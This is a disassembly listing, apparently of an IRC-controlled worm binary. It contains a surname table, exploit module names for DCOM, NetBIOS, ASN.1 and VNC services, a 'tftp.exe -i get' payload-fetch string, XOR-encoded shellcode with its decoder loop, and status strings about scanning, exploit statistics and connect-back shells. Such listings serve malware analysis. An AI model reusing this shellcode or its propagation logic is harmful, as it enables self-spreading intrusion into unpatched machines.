aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC54o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC50o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC4Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC48o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC44o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC40o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC3Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC38o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC34o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC30o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC2Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC28o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC24o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC20o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC1Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC18o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC14o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DC0Co
					; ___:0042DC10o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DC08o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DC04o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DC00o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBFCo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBF8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBF0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBECo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBE8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBE4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBE0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBDCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBD4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBD0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBCCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBC8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBC0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBBCo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBB0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DBACo
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DBA8o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DBA4o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DBA0o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB9Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB98o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB94o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB90o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB8Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB88o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB84o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB80o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB7Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB78o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB74o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB70o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB6Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB68o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB64o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB60o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB5Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB58o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB54o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB50o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB4Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB48o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB44o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB40o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB3Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB38o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB34o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB30o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB2Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB28o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB24o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB20o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB1Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB18o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB14o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB10o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DB0Co
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DB08o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DB04o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DB00o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAFCo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAF8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAF4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAF0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DAECo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAE8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAE4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAE0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DADCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAD8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAD4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAD0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DACCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAC8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAC4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAC0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DABCo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAB8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAB4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAB0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DAACo
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DAA8o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DAA4o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DAA0o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA9Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA98o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA94o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA90o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA8Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA88o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA84o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA80o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA7Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA78o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA74o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA70o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA6Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA68o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA64o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA60o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA5Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA58o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA54o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA50o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA4Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA48o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA44o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA40o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA3Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA38o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA34o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA30o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA2Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA28o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA24o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA20o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA1Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA18o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA14o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA10o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DA0Co
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DA08o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DA04o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DA00o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9FCo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9F8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9F4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9F0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9ECo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9E8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9E4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9E0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9DCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9D8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9D4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9CCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9C8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9C4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9C0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9BCo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9B8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9B4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9B0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D9ACo
		align 4
byte_431604	db 50h			; DATA XREF: ___:0040ABD9o
					; ___:0040ABE6r
		db 43h,	2 dup(0)
dword_431608	dd 7C7325h		; DATA XREF: ___:0040AC84o
dword_43160C	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD8Eo
dword_431614	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD85o
					; sub_41AF2B:loc_41AFEEo
dword_431618	dd 334B32h		; DATA XREF: ___:0040AD7Eo
dword_43161C	dd 5058h		; DATA XREF: ___:0040AD70o
					; ___:0040AF7Co ...
dword_431620	dd 4B32h		; DATA XREF: ___:0040AD60o
					; ___:0040AF6Co ...
dword_431624	dd 454Dh		; DATA XREF: ___:0040AD47o
					; ___:0040AF53o ...
dword_431628	dd 3839h		; DATA XREF: ___:0040AD37o
					; ___:0040AF43o ...
dword_43162C	dd 544Eh		; DATA XREF: ___:0040AD27o
					; ___:0040AF34o ...
dword_431630	dd 3539h		; DATA XREF: ___:0040AD19o
					; ___:0040AF26o ...
dword_431634	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADD4+3Ao
dword_43163C	dd 5D4D5Bh		; DATA XREF: sub_40ADD4+2Co
					; sub_40ADD4+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADD4+18o
					; sub_41870F+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0C9o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B08Bo
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B065o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B047o
					; sub_41AD74+52o
off_43166C	dd offset byte_4B4E55	; DATA XREF: ___:0040B02Ao
dword_431670	dd 345053h		; DATA XREF: ___:0040B020o
dword_431674	dd 34h			; DATA XREF: ___:0040B014o
dword_431678	dd 335053h		; DATA XREF: ___:0040B007o
dword_43167C	dd 33h			; DATA XREF: ___:0040AFF6o
dword_431680	dd 325053h		; DATA XREF: ___:0040AFE9o
dword_431684	dd 32h			; DATA XREF: ___:0040AFD8o

; =============== S U B	R O U T	I N E =======================================



sub_431688	proc near		; DATA XREF: ___:0040AFCBo
		push	ebx
		push	eax
		xor	[eax], eax
sub_431688	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43168C	dd 305053h		; DATA XREF: ___:0040AFADo
dword_431690	dd 4E55h		; DATA XREF: ___:loc_40AF91o
dword_431694	dd 3332h		; DATA XREF: ___:0040AF8Ao
; ---------------------------------------------------------------------------


loc_431698:				; DATA XREF: sub_40B2A6+C4o
		jmp	short loc_43169C
; ---------------------------------------------------------------------------


loc_43169A:				; CODE XREF: ___:loc_43169Cp
		jmp	short loc_4316A1
; ---------------------------------------------------------------------------


loc_43169C:				; CODE XREF: ___:loc_431698j
		call	loc_43169A


loc_4316A1:				; CODE XREF: ___:loc_43169Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_4316A6	dw 0FFFFh		; DATA XREF: sub_40B2A6+CCw
		db 80h,	73h, 0Eh
byte_4316AB	db 0FFh			; DATA XREF: sub_40B2A6+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316B0:				; DATA XREF: sub_40B2A6+A2o
		jmp	short loc_4316B4
; ---------------------------------------------------------------------------


loc_4316B2:				; CODE XREF: ___:loc_4316B4p
		jmp	short loc_4316B9
; ---------------------------------------------------------------------------


loc_4316B4:				; CODE XREF: ___:loc_4316B0j
		call	loc_4316B2


loc_4316B9:				; CODE XREF: ___:loc_4316B2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316BD	db 0FFh			; DATA XREF: sub_40B2A6+AAw
		dw 7380h
		db 0Ch
byte_4316C1	db 0FFh			; DATA XREF: sub_40B2A6+B0w
		dw 0E243h
		dd 0F9h
dword_4316C8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B12F+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43172C	dd 12h			; DATA XREF: sub_40B12F+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B12F+79o
aJ_0		db 'j',0
		db 0E8h
dword_431745	dd 17h			; DATA XREF: sub_40B12F+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43174C
		retn
; ---------------------------------------------------------------------------
byte_43174C	db 0E8h			; CODE XREF: ___:00431749j
dword_43174D	dd 1			; DATA XREF: sub_40B12F+45w
byte_431751	db 0, 6Ah, 0		; DATA XREF: sub_40B12F+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43175B	dd 0FFFFFFEDh		; DATA XREF: sub_40B12F+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B63B+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B63B+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3D3+164o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA8E+30o
					; ___:0040E21Ao ...
		align 4
		dd 5 dup(0)
dword_431808	dd 0B97h		; DATA XREF: sub_401AC7+1D32r
					; sub_401AC7+1D5Ao ...
off_43180C	dd offset sub_40EAB9	; DATA XREF: sub_40C3D3+1E6r
dword_431810	dd 0			; DATA XREF: sub_40B901+2Eo
					; ___:0040D74Aw ...
dword_431814	dd 1			; DATA XREF: sub_40BD7C+1Fr
dword_431818	dd 1			; DATA XREF: sub_40BD7C+3B3r
dword_43181C	dd 0			; DATA XREF: sub_40BD7C+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF3Dh, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EBEFh, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40E977h, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
; ---------------------------------------------------------------------------
		mov	ebp, 77000001h
		jmp	near ptr word_431952
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(1), 0
aAsn445_0	db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D584h
		db 2 dup(0)
word_431952	dw 0			; CODE XREF: ___:0043190Dj
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D584h, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B641h, 5 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_1	db 'asn445',0
		align 4
		db 2 dup(0)
byte_431A2A	db 1			; DATA XREF: sub_401AC7:loc_403773r
					; sub_401AC7+1CB6o
aDcom135_0	db 'dcom135',0
		align 4
		dd 79730100h, 6Dh, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A5E

; =============== S U B	R O U T	I N E =======================================



sub_431A4E	proc near		; CODE XREF: sub_431A4E:loc_431A5Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431A56:				; CODE XREF: sub_431A4E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431A56
		jmp	short loc_431A63
; ---------------------------------------------------------------------------


loc_431A5E:				; CODE XREF: ___:00431A4Cj
		call	sub_431A4E


loc_431A63:				; CODE XREF: sub_431A4E+Ej
		jo	short near ptr dword_4319E4+1Ah
		cwde
		cdq
		cdq
		retn
sub_431A4E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B901+85o
		align 10h
dword_431BE0	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B901+46o
unk_431BEC	db  2Dh	; -		; DATA XREF: sub_40B901+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431C0C	db  2Dh	; -		; DATA XREF: sub_40B9CF+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431C54	db  2Dh	; -		; DATA XREF: sub_40BA3A+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA8E+7Eo
dword_431C90	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA8E+40o
dword_431CA0	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA8E+14o
		dd 7473694Ch, 3Ah
unk_431CBC	db  2Dh	; -		; DATA XREF: ___:0040BCC2o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431CF0	db  2Dh	; -		; DATA XREF: ___:0040BBD4o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431D20	db  2Dh	; -		; DATA XREF: sub_40BD05+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431D40	db  2Dh	; -		; DATA XREF: sub_40BD05+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D5C	db  2Dh	; -		; DATA XREF: sub_40BD7C+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431D90	db  2Dh	; -		; DATA XREF: sub_40BD7C+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431DC8	db  2Dh	; -		; DATA XREF: sub_40BD7C+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_431DF8	db  2Dh	; -		; DATA XREF: sub_40BD7C+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431E2C	db  2Dh	; -		; DATA XREF: sub_40BD7C+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431E60	db  2Dh	; -		; DATA XREF: sub_40BD7C+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E94	db  2Dh	; -		; DATA XREF: sub_40C3D3+EBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431EBC	db  2Dh	; -		; DATA XREF: sub_40C3D3+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431EF4	db  2Dh	; -		; DATA XREF: sub_40C3D3+3E2o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431F34	db  2Dh	; -		; DATA XREF: sub_40C3D3+387o
		db 3, 34h, 2
		db  73h	; s
